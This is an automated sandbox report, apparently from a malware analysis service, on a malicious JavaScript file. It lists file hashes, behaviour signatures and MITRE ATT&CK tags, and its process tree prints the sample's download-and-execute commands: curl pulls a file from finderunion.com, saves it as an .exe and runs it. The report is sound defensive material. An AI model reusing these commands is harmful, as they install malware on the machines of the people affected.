97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
13/02/2024, 03:26

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General

Target

97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71.js
Size

37KB
MD5

49573f1591b4da5b1132fe9e8b747251
SHA1

ca4d9a37b2ee49d992b224cee529a9aeacba8b8d
SHA256

97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71
SHA512

6f60b772f4da827f96bae8fb7965410fcac40d13bd10ed9c47544a4af8c47f9d767f662d6893c100dff8f001c5eff9517c4dff5ab9733dbbf11c8dae2382dcdc
SSDEEP

768:t9k/pgMvHqpp1o4WnZJRNQ8Fy1+Q+X29oLhNcZbuLiA0OM4QmQ4sMwl3TQlHP9sD:LYbHVzsTVkI

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2496	wscript.exe
5	2496	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1348	timeout.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2496 wrote to memory of 1760	2496	wscript.exe	28
PID 2496 wrote to memory of 1760	2496	wscript.exe	28
PID 2496 wrote to memory of 1760	2496	wscript.exe	28
PID 2496 wrote to memory of 1660	2496	wscript.exe	30
PID 2496 wrote to memory of 1660	2496	wscript.exe	30
PID 2496 wrote to memory of 1660	2496	wscript.exe	30
PID 2496 wrote to memory of 2148	2496	wscript.exe	32
PID 2496 wrote to memory of 2148	2496	wscript.exe	32
PID 2496 wrote to memory of 2148	2496	wscript.exe	32
PID 2496 wrote to memory of 328	2496	wscript.exe	34
PID 2496 wrote to memory of 328	2496	wscript.exe	34
PID 2496 wrote to memory of 328	2496	wscript.exe	34
PID 2496 wrote to memory of 1972	2496	wscript.exe	36
PID 2496 wrote to memory of 1972	2496	wscript.exe	36
PID 2496 wrote to memory of 1972	2496	wscript.exe	36
PID 2496 wrote to memory of 484	2496	wscript.exe	38
PID 2496 wrote to memory of 484	2496	wscript.exe	38
PID 2496 wrote to memory of 484	2496	wscript.exe	38
PID 2496 wrote to memory of 1048	2496	wscript.exe	40
PID 2496 wrote to memory of 1048	2496	wscript.exe	40
PID 2496 wrote to memory of 1048	2496	wscript.exe	40
PID 1048 wrote to memory of 1348	1048	cmd.exe	42
PID 1048 wrote to memory of 1348	1048	cmd.exe	42
PID 1048 wrote to memory of 1348	1048	cmd.exe	42

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\97fdebbe05a8a73c836256ae806a398f1af220dd9b384b1e2af83de19bfa7a71.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl https://finderunion.com/CVv/0.22439561272187208.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.7210456677999124.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.5858437508743046.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.6514301565095932.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.10128227582407045.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt & curl 0.08437075093040919.dat --output C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & C:\Ufhhjhfjhkg\Fjykkkyfdhd\Wjkkgfdhdt\Phfjfjhgkgfjhd.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:1348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4896.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

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C:\Users\Admin\AppData\Local\Temp\Tar48A9.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

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